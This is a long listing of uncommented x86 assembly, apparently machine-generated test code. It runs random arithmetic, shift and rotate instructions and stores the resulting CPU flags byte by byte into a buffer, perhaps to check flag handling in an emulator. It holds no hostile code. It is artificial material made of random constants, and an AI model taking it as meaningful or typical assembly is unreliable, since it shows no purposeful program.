mov ecx, 0x5769c9eb
ror edx, cl
mov ebx, 0x2308295a
rol ebx, 1
mov eax, 0xaa235f73
mov ecx, 0xe7524f92
ror eax, cl
mov ecx, 0x5e388260
dec ecx
mov ebx, 0xc90271ff
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9e26ccb8
sub ebx, 0x1a67622f
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x38f10f4f
inc edx
mov eax, 0x65f324a3
mov ecx, 0xf062061f
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x207a458e
shl eax, 0x84
mov ebx, 0xdcdc8af
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x94320576
sar eax, 0x6c
mov ecx, 0x98b795af
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1c3ef588
sal ebx, 1
mov ebx, 0x751687c9
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe1a102ca
dec ebx
mov eax, 0xf6dda392
mov ecx, 0xeab449c4
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2f5037bf
cmp eax, 0xb549e4b1
mov eax, 0xc5e500a
aas
mov edx, 0x1ad18a58
mov ecx, 0x15f820e1
ror edx, cl
mov edx, 0x7270862f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd2198d8
rol ebx, 1
mov ebx, 0x5a5d2807
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x4dcc6d5f
dec eax
mov edx, 0x7ab8dc19
mov ecx, 0xf91bf523
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x70939e0e
aas
mov edx, 0xa4f5c39f
inc edx
mov edx, 0x9b71aa92
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd2c0a6b7
rol ebx, 1
mov eax, 0xa2503a35
aas
mov eax, 0x207bad9b
add eax, 0x7e988914
mov eax, 0xec44631e
aaa
mov edx, 0xde2f7e4f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7e245996
mov ecx, 0x76b71aa6
sal edx, cl
mov eax, 0x5890decf
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9cc112b2
mov ecx, 0xa9a8084d
ror eax, cl
mov ecx, 0x43fdca8b
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb164c7c
shl ebx, 0x7b
mov ecx, 0x1c0858bf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xcc768f7e
add eax, 0x3277d48d
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xf44eac6e
aaa
mov ebx, 0x3f26a791
mov ecx, 0x72816433
rol ebx, cl
mov ebx, 0xf0b9b0da
mov ecx, 0x7280b183
ror ebx, cl
mov ebx, 0x1fa41fba
mov edx, 0xa10d54bb
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe77dfd63
cmp ecx, 0xd6721bbf
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc1cacb0f
mov ecx, 0x8935678d
ror edx, cl
mov ecx, 0xf7e9830c
cmp ecx, 0xbc6ea744
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x63569b73
mov ecx, 0xc971fa53
rol edx, cl
mov eax, 0x3a4885c6
inc eax
mov eax, 0xde63c959
mov ecx, 0x4492ab9c
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd3ea4c07
mov ecx, 0xfd5db30
ror edx, cl
mov ebx, 0xd451a16e
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7ca8da8c
sar eax, 0xbb
mov ebx, 0xbb542780
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xbebb630c
cmp eax, 0x5fd80e2c
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x11ee256b
mov edx, 0x568fda21
cmp ebx, edx
mov eax, 0xe6a180da
aas
mov ebx, 0xfc8bd52f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x99ac421e
sal edx, 0xe7
mov ecx, 0x8d64bec
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe3e0ffc0
neg ebx
mov edx, 0xbe0f81e7
mov ecx, 0x676e4334
rol edx, cl
mov edx, 0xb389e924
rol edx, 1
mov edx, 0x6484007f
inc edx
mov eax, 0xc2088b33
mov ecx, 0x8bab12c8
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd1111aba
cmp edx, 0x62765164
mov eax, 0xfb50e9a0
aas
mov eax, 0x20811761
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x5eb9ca50
inc edx
mov edx, 0x2d755b0f
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x962d9bac
mov ecx, 0x354431ef
rol ebx, cl
mov ecx, 0x72178140
dec ecx
mov ebx, 0xd19cc9c5
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xec93221f
inc edx
mov edx, 0xaada3e6f
mov ecx, 0x2c8543e6
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf8447561
rol ebx, 1
mov ecx, 0x6986ca48
sub ecx, 0xf247d49f
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x745bd5dc
mov ebx, 0x74f853b3
sub eax, ebx
mov eax, 0xbe074234
rol eax, 1
mov ebx, 0x12f68d50
dec ebx
mov edx, 0x688217e2
mov ecx, 0x37cda0ac
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf8c11741
sub ecx, 0xe8666727
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x12ee14b0
mov edx, 0xc38f86d0
sub ebx, edx
mov edx, 0x5d9844e7
mov eax, 0x59f1d097
sub edx, eax
mov ebx, 0xd90b5100
neg ebx
mov eax, 0xc8ab5595
rol eax, 1
mov edx, 0x448781e6
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x114c9ae6
mov edx, 0xb595ba02
sub eax, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x4e5a6030
sal eax, 0x7d
mov eax, 0xf626b294
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xa275dd7e
sub ecx, 0x20a3fe9
mov eax, 0xab2d83f5
aaa
mov edx, 0x3ab07264
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x744aed
mov eax, 0xb99deac4
cmp ebx, eax
mov ebx, 0x8b007e32
rol ebx, 1
mov ebx, 0x4f8a2285
mov ecx, 0xb5f5c1cd
rol ebx, cl
mov ebx, 0xe543b6b1
cmp ebx, 0x37c0526b
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3697c10f
dec edx
mov eax, 0x10f0479c
mov ecx, 0xa533de06
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe08aa2d
mov ecx, 0x87ab0fe7
rol ebx, cl
mov ecx, 0x4123ecc3
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x378bb82a
mov edx, 0x30688768
sub eax, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3ab9080b
rol edx, 1
mov eax, 0x197b57fc
mov ecx, 0x9d0ae234
ror eax, cl
mov ebx, 0x3cf332fe
mov ecx, 0x2db003c4
add ebx, ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x9ac2dd40
neg ecx
mov eax, 0xc01a10ba
aas
mov ecx, 0x1a1f8c9f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x65cc203e
sal eax, 1
mov ecx, 0x833d59df
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xc4a78972
shl edx, 1
mov ebx, 0x6b53ebf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb2c666f3
mov eax, 0xa287a15f
cmp ebx, eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc3e4d711
dec eax
mov edx, 0x3a507e19
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf0751fb4
mov ecx, 0xebac2222
sal eax, cl
mov eax, 0x1bf310c6
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x6749bb4
dec edx
mov eax, 0x15e07b45
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x291f1ccb
add edx, 0x246cd602
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xae7ad27b
shl edx, 1
mov ecx, 0xe0186e8f
neg ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9a303e96
rol edx, 1
mov ecx, 0xd4655b1a
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xef60715c
rol edx, 1
mov edx, 0xa18c5491
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x96243978
mov ecx, 0xeeb752e1
ror ebx, cl
mov edx, 0xfdaf5829
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xfc20e8c0
neg ecx
mov eax, 0xea7f0c3d
aas
mov ebx, 0x12ba2c6b
neg ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xc8e0e95f
inc eax
mov eax, 0x930ccfa8
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xeed39bd7
mov ecx, 0x90c2715f
rol ebx, cl
mov edx, 0x1cc5dfa4
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xae584c06
mov ecx, 0x373beabd
rol ebx, cl
mov edx, 0xe1ed79a2
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2bcc952e
mov edx, 0xfe1541c8
add eax, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x1ffc447a
sal edx, 1
mov ebx, 0xd2488cc0
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x9319b3c7
dec ecx
mov ebx, 0x8c51068f
mov ecx, 0x5d780d71
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x28bc9cce
mov ecx, 0x4caf510e
ror eax, cl
mov eax, 0xd525d5d7
sal eax, 1
mov ebx, 0x2a9e9d39
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8d022715
rol ebx, 1
mov eax, 0xc06ff1b7
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x3d80620e
mov ecx, 0x6a03300a
rol edx, cl
mov ebx, 0xb1acdad9
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe8358dae
mov edx, 0x34caac37
cmp ebx, edx
mov eax, 0x1b04e25a
aaa
mov ebx, 0x5832fe4d
mov eax, 0xf983c079
cmp ebx, eax
mov eax, 0xe32c654a
aas
mov edx, 0x86f2dcaf
inc edx
mov eax, 0x9bec7dad
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7bbd74c8
inc edx
mov ebx, 0xb25f9898
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xaf620f5b
cmp ebx, 0xb8f30145
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbb476b1b
mov ecx, 0xb6860ba1
ror eax, cl
mov edx, 0xb512b0d2
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x2ec41081
shl eax, 1
mov eax, 0x352e731a
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x9d4a3f69
mov ecx, 0xa2b56aff
ror eax, cl
mov eax, 0x736d180e
dec eax
mov edx, 0x6c8f1a13
mov ecx, 0xbfee801f
ror edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x5e876da2
rol eax, 1
mov edx, 0x9e5672
rol edx, 1
mov eax, 0x2c9b245f
aaa
mov edx, 0xcd4e25ed
sub edx, 0x5e6f3322
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x62985113
rol ebx, 1
mov eax, 0x6c5bb8e0
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xde0947b1
mov ecx, 0x83105ef7
ror eax, cl
mov eax, 0x51c56891
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaef780a6
mov ecx, 0x6af6d356
rol eax, cl
mov eax, 0x8fc5248
mov ecx, 0x85ef593e
ror eax, cl
mov ebx, 0x7da6b1cd
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf18ab1a2
shl edx, 0x34
mov ecx, 0xf4d7cb36
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xd13ae6a2
dec edx
mov ebx, 0x53f4076f
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2d8c823d
mov ecx, 0x22bf9996
ror eax, cl
mov ebx, 0x5457500
mov ecx, 0x11bc1f2d
ror ebx, cl
mov eax, 0x3b8f7a1f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfb233a4e
shl ebx, 0x74
mov ecx, 0x7b389342
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xda7c5ca8
sub eax, 0xff055e5e
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x84b9ffab
sar edx, 0xa9
mov eax, 0xf598565b
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xb5aee0de
mov ecx, 0xe2933da
ror edx, cl
mov eax, 0x2a9d133c
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x10556d87
mov ecx, 0x1f0c022c
ror edx, cl
mov ecx, 0x1ff8c102
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf610a954
mov ecx, 0x6ad37a6d
rol edx, cl
mov ecx, 0x633cdf7b
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x340f7da
rol ebx, 1
mov ebx, 0xdce73f1
mov ecx, 0x32c9801c
ror ebx, cl
mov edx, 0x8be81a4e
rol edx, 1
mov eax, 0x5683a89a
sal eax, 1
mov edx, 0x2f90d884
rol edx, 1
mov edx, 0x5cd95aff
mov ecx, 0x7b202443
rol edx, cl
mov ebx, 0x55e4890d
mov ecx, 0xd5775656
rol ebx, cl
mov eax, 0x717ecf74
sal eax, 0xa5
mov ebx, 0x3e65d7e0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x29dbf5c9
sal edx, 1
mov edx, 0x28248e1a
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x57bcaa88
sal eax, 1
mov eax, 0x33a8a361
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xdd435d1a
mov ecx, 0x72f29098
ror eax, cl
mov ecx, 0xd6d8fd1c
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xc0ee53cc
dec edx
mov ebx, 0x51a14f80
mov ecx, 0xa608d05f
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2e20c7fb
rol eax, 1
mov edx, 0xc14d007c
mov ecx, 0x98e4f9c6
sal edx, cl
mov eax, 0x5e5524c4
shl eax, 1
mov ecx, 0x1d289c2f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x69407d1e
inc eax
mov ebx, 0xd96c3320
mov ecx, 0x921fd70f
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x31e8785a
mov ecx, 0x4f0b0485
rol eax, cl
mov ebx, 0x14f52532
inc ebx
mov ebx, 0xb716adc
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa4737225
dec eax
mov eax, 0x2eeb427f
mov ecx, 0xe23a5a89
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdd19f0d8
rol ebx, 1
mov edx, 0x6b244d44
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xadf23490
dec ecx
mov eax, 0x8aecffed
mov ecx, 0x199fd042
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xd823e5ae
mov ecx, 0xd52d626
shl edx, cl
mov ebx, 0x289b9a25
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x6f028ea8
mov ecx, 0x484df744
ror edx, cl
mov eax, 0x3405d55f
mov ecx, 0xc37ccd64
ror eax, cl
mov edx, 0xc436e0c9
rol edx, 1
mov ecx, 0x4f101875
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x107d6696
mov eax, 0x4b72e499
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x303ba1e3
mov ecx, 0xd6ca1d02
ror ebx, cl
mov eax, 0x7522c5f7
rol eax, 1
mov edx, 0x2c82fd20
dec edx
mov edx, 0x4e8a3a2
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x5d8a7c51
mov ebx, 0xffb1be1
cmp eax, ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x323099d6
rol edx, 1
mov edx, 0x43033ab1
add edx, 0xa2809736
mov eax, 0x66accaa3
aaa
mov edx, 0xf7b0dee
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1712a003
inc eax
mov edx, 0xab0c1b6f
mov ecx, 0x263f1536
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4fa4f9de
mov ecx, 0x9e37a9cc
rol eax, cl
mov ecx, 0x4f0ef55b
sub ecx, 0x1d2ffccb
mov eax, 0x5d4bc476
aaa
mov edx, 0x8327844b
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe17af199
sar eax, 0x52
mov edx, 0x61f6f420
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xd7e8b715
mov eax, 0xce018185
sub ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x982cd08e
mov ebx, 0x62f51d1c
sub edx, ebx
mov edx, 0x379f1b92
dec edx
mov edx, 0xaebb546c
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd256c97
mov eax, 0xefad1f0
cmp edx, eax
mov eax, 0x9e7d00b6
mov ecx, 0xecd4a655
rol eax, cl
mov edx, 0x8ab1053f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3c7ae919
mov ecx, 0x80a53e1a
rol eax, cl
mov eax, 0x5007b86a
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x381e1f26
rol ebx, 1
mov ebx, 0x99cda075
rol ebx, 1
mov ebx, 0x7fdaee88
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x903d9eed
rol ebx, 1
mov eax, 0x1d7e7234
aaa
mov edx, 0x5b8d73c0
shl edx, 1
mov ecx, 0x23892ee4
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x9484ce9b
sub ebx, 0xa46dc196
mov ebx, 0x6571d80
dec ebx
mov edx, 0x63618b7a
mov ecx, 0xe6c85c13
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x27edc0fb
mov ecx, 0xf604dd79
ror eax, cl
mov ecx, 0xf6b89306
cmp ecx, 0x4c914373
mov eax, 0xdc93dbe5
aas
mov ecx, 0x4b0ba8ca
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb5d8245c
sub edx, 0x6d3137f1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9e50848e
mov eax, 0xf849a6d5
add ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7dfe195d
shl edx, 1
mov ecx, 0x32f1ecf0
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x2c7d74c7
mov ecx, 0xf2d44137
ror edx, cl
mov edx, 0x302119ca
mov ecx, 0xee883943
sar edx, cl
mov ebx, 0x2f83184f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc98a8bbf
rol edx, 1
mov eax, 0xf45408c3
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x504e2576
mov ecx, 0xef49ec3a
rol eax, cl
mov ebx, 0x485f6c97
add ebx, 0xf2ac6cf0
mov eax, 0x8d9832d0
aas
mov ebx, 0x99d6eac3
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xca7952be
mov ecx, 0x9b40950b
ror ebx, cl
mov edx, 0x2b3bcf7d
rol edx, 1
mov ebx, 0x5c228d5a
mov ecx, 0x35ede443
rol ebx, cl
mov eax, 0x91b7df30
aaa
mov ecx, 0xb643c7d4
add ecx, 0x34c0dfec
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3216b6a1
mov ecx, 0x9b31a8f0
ror edx, cl
mov ebx, 0x957cf140
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x53fe8aa9
sal eax, 1
mov edx, 0xa82fd4be
mov ecx, 0x260e2c0a
rol edx, cl
mov edx, 0x76658007
mov ecx, 0x135cce15
rol edx, cl
mov edx, 0xcbaa99c
mov ecx, 0x69e54521
shl edx, cl
mov ecx, 0xc13c6c3f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x9d275cfe
rol eax, 1
mov ecx, 0x3879efb2
inc ecx
mov eax, 0x293bbaa5
rol eax, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x87d2adc1
mov ecx, 0x25d9442
shl eax, cl
mov edx, 0x2015a6f8
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x89824357
mov ecx, 0x3ccd242d
rol ebx, cl
mov eax, 0x38851ee2
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf689ee7d
cmp edx, 0xe68e63b5
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xc931f0df
mov edx, 0xc816cb7b
sub ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x208ff4d9
inc eax
mov edx, 0x62c6bf14
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4b7fa489
sal eax, 1
mov edx, 0xf0f8d3f4
shl edx, 0x86
mov ecx, 0xe7100bb0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x59413a80
dec ecx
mov eax, 0xef79c185
mov ecx, 0x3440d594
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4b5849fc
mov ecx, 0x283b08c3
ror edx, cl
mov ebx, 0xa8e9f584
mov ecx, 0x2d704f3d
ror ebx, cl
mov edx, 0xe8468786
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9e591a1c
mov ecx, 0xd2a0bb6e
rol eax, cl
mov ebx, 0xbf91c292
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x9ce86410
neg ecx
mov ebx, 0xc624ea3c
rol ebx, 1
mov eax, 0xedaf578e
mov ecx, 0x118e3182
ror eax, cl
mov edx, 0x54df70
mov ecx, 0xe3a748a8
rol edx, cl
mov ebx, 0x7e7cc460
dec ebx
mov eax, 0xf67a13e
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x14fe1135
rol ebx, 1
mov edx, 0x77b72f6
inc edx
mov ebx, 0xa0570d53
mov ecx, 0xc5d6c384
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x37e5b9ff
dec eax
mov eax, 0x6d610270
mov ecx, 0xd8c86053
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe4558806
cmp eax, 0x4e6a333f
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x21ff7ae8
sal eax, 1
mov ecx, 0xdf1b06a6
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x621dfff5
rol eax, 1
mov edx, 0xfc519dd0
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe53e0c0
aas
mov ecx, 0x44a83400
mov edx, 0x9bc1faf8
add ecx, edx
mov ebx, 0x8e4d6ab3
rol ebx, 1
mov ebx, 0x6c98dbaf
inc ebx
mov edx, 0xba444f7a
mov ecx, 0x8f57d403
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x124f528b
rol eax, 1
mov ebx, 0x2e28c9c0
mov edx, 0x7414fd4
add ebx, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xdabe0e05
rol eax, 1
mov eax, 0x7158f86f
rol eax, 1
mov ebx, 0x21b3f9d2
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xb0ff3f3f
mov ecx, 0x901e6259
shl edx, cl
mov eax, 0x84f62b19
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x17a6d58b
sub edx, 0xd5e7bdd1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x3aad7d20
add edx, 0xe1e26767
mov eax, 0x33c0daaf
mov ecx, 0x5143fdd8
ror eax, cl
mov eax, 0x8d8f8bc0
mov edx, 0x81cf7b8
sub eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3eb4af13
aas
mov edx, 0x27d9da17
mov ecx, 0x9220d2ff
ror edx, cl
mov eax, 0x6a76bec7
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x890ccc20
sal eax, 1
mov edx, 0x7d3606a7
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xdc1a38f7
sub ecx, 0xd34b9cb4
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x60c3913a
mov ecx, 0xd472163d
ror eax, cl
mov eax, 0x7d6cef6d
aas
mov ebx, 0x67021aa
sal ebx, 0x65
mov ebx, 0xa9df17d0
sub ebx, 0x762cb914
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5ec413ad
mov ecx, 0xf5d7997f
ror eax, cl
mov eax, 0x263aaade
inc eax
mov eax, 0x6c063578
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7119544b
dec edx
mov eax, 0x5d5c119
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8f244d27
mov ecx, 0x2bb7a67d
rol edx, cl
mov edx, 0x6566695e
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x6ff9a883
mov ecx, 0x66c0890d
ror edx, cl
mov eax, 0x2531058e
mov ecx, 0x4dd81819
ror eax, cl
mov edx, 0x49691123
rol edx, 1
mov eax, 0x4e87502d
rol eax, 1
mov ebx, 0xb09e7ef8
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x677cd84c
mov ecx, 0x4e6f8637
sar eax, cl
mov eax, 0xd955844c
aaa
mov ebx, 0x124b4035
mov eax, 0xd428b32d
cmp ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xcb79ff2c
mov ecx, 0x40505d
ror ebx, cl
mov edx, 0x243bc4d3
mov ecx, 0x1aca7eaa
rol edx, cl
mov edx, 0xf970e3d0
mov ecx, 0xdfb314d3
ror edx, cl
mov ecx, 0x3c9c9ba4
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x260788d5
inc ecx
mov edx, 0x9ea0f28d
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x902ee8af
inc edx
mov edx, 0x813a87a8
mov ecx, 0xe0657f7c
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9ab75e16
sar eax, 0xa7
mov ecx, 0x75458cc6
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc5464dc
rol ebx, 1
mov eax, 0xcf33887d
mov edx, 0xf2f0a724
sub eax, edx
mov ebx, 0xaac45cc
rol ebx, 1
mov eax, 0xc574e47f
mov ecx, 0x947f5f6
sar eax, cl
mov ebx, 0x2cc28de5
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x33409d3d
inc eax
mov edx, 0x233b84bd
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x257a052a
mov ecx, 0x512b00b9
add eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x39a96ffe
mov ecx, 0x893053d3
ror edx, cl
mov ebx, 0x85c2fa0
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xb8922ea0
mov ecx, 0x7e1d08d0
sar ebx, cl
mov edx, 0x53d5dfe2
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe88e66b2
mov ecx, 0xc089cf25
rol eax, cl
mov eax, 0xdc4533a0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4efd874b
inc ebx
mov eax, 0x8a16e32b
mov ecx, 0x5331d24d
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x711c5443
add eax, 0xe12504d5
mov edx, 0xb8983579
mov ecx, 0x27b87c9
ror edx, cl
mov ebx, 0x50620ddf
mov ecx, 0x532da72e
rol ebx, cl
mov ebx, 0x89bac086
mov ecx, 0xbae5e563
rol ebx, cl
mov eax, 0x320cff29
add eax, 0x2755f312
mov edx, 0x89341f8e
mov ecx, 0x8407c63a
rol edx, cl
mov eax, 0x530043ef
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8218af44
mov ecx, 0x1fb5943
ror edx, cl
